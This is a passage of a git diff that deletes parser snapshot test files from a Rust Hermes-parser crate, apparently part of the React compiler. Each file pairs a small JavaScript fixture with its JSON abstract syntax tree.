-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    87,
-                    88
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  85,
-                  88
-                ]
-              },
-              "right": {
-                "type": "AssignmentExpression",
-                "operator": "*=",
-                "left": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      92,
-                      93
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      94,
-                      95
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    92,
-                    95
-                  ]
-                },
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    99,
-                    100
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  92,
-                  100
-                ]
-              },
-              "loc": null,
-              "range": [
-                85,
-                100
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              85,
-              101
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    104,
-                    105
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  104,
-                  107
-                ]
-              },
-              "right": {
-                "type": "AssignmentExpression",
-                "operator": "*=",
-                "left": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      111,
-                      112
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      113,
-                      114
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    111,
-                    114
-                  ]
-                },
-                "right": {
-                  "type": "AssignmentExpression",
-                  "operator": "&=",
-                  "left": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        118,
-                        119
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        120,
-                        121
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      118,
-                      121
-                    ]
-                  },
-                  "right": {
-                    "type": "NumericLiteral",
-                    "value": 3.0,
-                    "loc": null,
-                    "range": [
-                      125,
-                      126
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    118,
-                    126
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  111,
-                  126
-                ]
-              },
-              "loc": null,
-              "range": [
-                104,
-                126
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              104,
-              127
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                137,
-                138
-              ]
-            },
-            "loc": null,
-            "range": [
-              130,
-              139
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          141
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        141
-      ],
-      "loc": null,
-      "range": [
-        0,
-        141
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    141
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-emit-imports-same-source.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-emit-imports-same-source.js.snap
deleted file mode 100644
index 570c8c6ce7a8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-emit-imports-same-source.js.snap
+++ /dev/null
@@ -1,129 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/codegen-emit-imports-same-source.js
----
-Input:
-// @enableEmitFreeze @instrumentForget
-
-function useFoo(props) {
-  return foo(props.x);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFoo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          55
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            56,
-            61
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  77
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      78,
-                      83
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      84,
-                      85
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    78,
-                    85
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                74,
-                86
-              ]
-            },
-            "loc": null,
-            "range": [
-              67,
-              87
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          63,
-          89
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        89
-      ],
-      "loc": null,
-      "range": [
-        40,
-        89
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    89
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-emit-make-read-only.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-emit-make-read-only.js.snap
deleted file mode 100644
index 74072b5b53e0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-emit-make-read-only.js.snap
+++ /dev/null
@@ -1,366 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/codegen-emit-make-read-only.js
----
-Input:
-// @enableEmitFreeze true
-
-function MyComponentName(props) {
-  let x = {};
-  foo(x, props.a);
-  foo(x, props.b);
-
-  let y = [];
-  y.push(x);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "MyComponentName",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          36,
-          51
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            52,
-            57
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    71,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              74
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  77,
-                  80
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    82
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      84,
-                      89
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      90,
-                      91
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    84,
-                    91
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                92
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              77,
-              93
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  96,
-                  99
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    101
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      103,
-                      108
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      109,
-                      110
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    103,
-                    110
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                96,
-                111
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              96,
-              112
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    120,
-                    121
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    124,
-                    126
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  120,
-                  126
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              116,
-              127
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    130,
-                    131
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    132,
-                    136
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  130,
-                  136
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    137,
-                    138
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                130,
-                139
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              130,
-              140
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                150,
-                151
-              ]
-            },
-            "loc": null,
-            "range": [
-              143,
-              152
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          59,
-          154
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        27,
-        154
-      ],
-      "loc": null,
-      "range": [
-        27,
-        154
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    27,
-    154
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-instrument-forget-gating-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-instrument-forget-gating-test.js.snap
deleted file mode 100644
index da34bb1f8344..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-instrument-forget-gating-test.js.snap
+++ /dev/null
@@ -1,485 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-gating-test.js
----
-Input:
-// @instrumentForget @compilationMode(annotation) @gating
-
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          68,
-          71
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            72,
-            77
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                83,
-                95
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              83,
-              96
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    107,
-                    110
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  106,
-                  111
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        112,
-                        117
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        118,
-                        121
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      112,
-                      121
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    111,
-                    122
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    124,
-                    127
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  122,
-                  128
-                ]
-              },
-              "loc": null,
-              "range": [
-                106,
-                128
-              ]
-            },
-            "loc": null,
-            "range": [
-              99,
-              129
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          79,
-          131
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        59,
-        131
-      ],
-      "loc": null,
-      "range": [
-        59,
-        131
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "NoForget",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          142,
-          150
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            151,
-            156
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    170,
-                    173
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  169,
-                  174
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        175,
-                        180
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "noForget",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        181,
-                        189
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      175,
-                      189
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    174,
-                    190
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    192,
-                    195
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  190,
-                  196
-                ]
-              },
-              "loc": null,
-              "range": [
-                169,
-                196
-              ]
-            },
-            "loc": null,
-            "range": [
-              162,
-              197
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          158,
-          199
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        133,
-        199
-      ],
-      "loc": null,
-      "range": [
-        133,
-        199
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          210,
-          213
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            214,
-            219
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                225,
-                237
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              225,
-              238
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    249,
-                    252
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  248,
-                  253
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        254,
-                        259
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        260,
-                        263
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      254,
-                      263
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    253,
-                    264
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    266,
-                    269
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  264,
-                  270
-                ]
-              },
-              "loc": null,
-              "range": [
-                248,
-                270
-              ]
-            },
-            "loc": null,
-            "range": [
-              241,
-              271
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          221,
-          273
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        201,
-        273
-      ],
-      "loc": null,
-      "range": [
-        201,
-        273
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    59,
-    273
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-instrument-forget-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-instrument-forget-test.js.snap
deleted file mode 100644
index b5a642a17f71..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@codegen-instrument-forget-test.js.snap
+++ /dev/null
@@ -1,485 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-test.js
----
-Input:
-// @instrumentForget @compilationMode(annotation)
-
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          60,
-          63
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            64,
-            69
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                75,
-                87
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              75,
-              88
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    99,
-                    102
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  98,
-                  103
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        104,
-                        109
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        110,
-                        113
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      104,
-                      113
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    103,
-                    114
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    116,
-                    119
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  114,
-                  120
-                ]
-              },
-              "loc": null,
-              "range": [
-                98,
-                120
-              ]
-            },
-            "loc": null,
-            "range": [
-              91,
-              121
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          71,
-          123
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        51,
-        123
-      ],
-      "loc": null,
-      "range": [
-        51,
-        123
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "NoForget",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          134,
-          142
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            143,
-            148
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    162,
-                    165
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  161,
-                  166
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        167,
-                        172
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "noForget",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        173,
-                        181
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      167,
-                      181
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    166,
-                    182
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Bar",
-                  "loc": null,
-                  "range": [
-                    184,
-                    187
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  182,
-                  188
-                ]
-              },
-              "loc": null,
-              "range": [
-                161,
-                188
-              ]
-            },
-            "loc": null,
-            "range": [
-              154,
-              189
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          150,
-          191
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        125,
-        191
-      ],
-      "loc": null,
-      "range": [
-        125,
-        191
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          202,
-          205
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            206,
-            211
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                217,
-                229
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              217,
-              230
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    241,
-                    244
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  240,
-                  245
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        246,
-                        251
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        252,
-                        255
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      246,
-                      255
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    245,
-                    256
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    258,
-                    261
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  256,
-                  262
-                ]
-              },
-              "loc": null,
-              "range": [
-                240,
-                262
-              ]
-            },
-            "loc": null,
-            "range": [
-              233,
-              263
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          213,
-          265
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        193,
-        265
-      ],
-      "loc": null,
-      "range": [
-        193,
-        265
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    51,
-    265
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@complex-while.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@complex-while.js.snap
deleted file mode 100644
index eb8d614ed16e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@complex-while.js.snap
+++ /dev/null
@@ -1,237 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/complex-while.js
----
-Input:
-function foo(a, b, c) {
-  label: if (a) {
-    while (b) {
-      if (c) {
-        break label;
-      }
-    }
-  }
-  return c;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
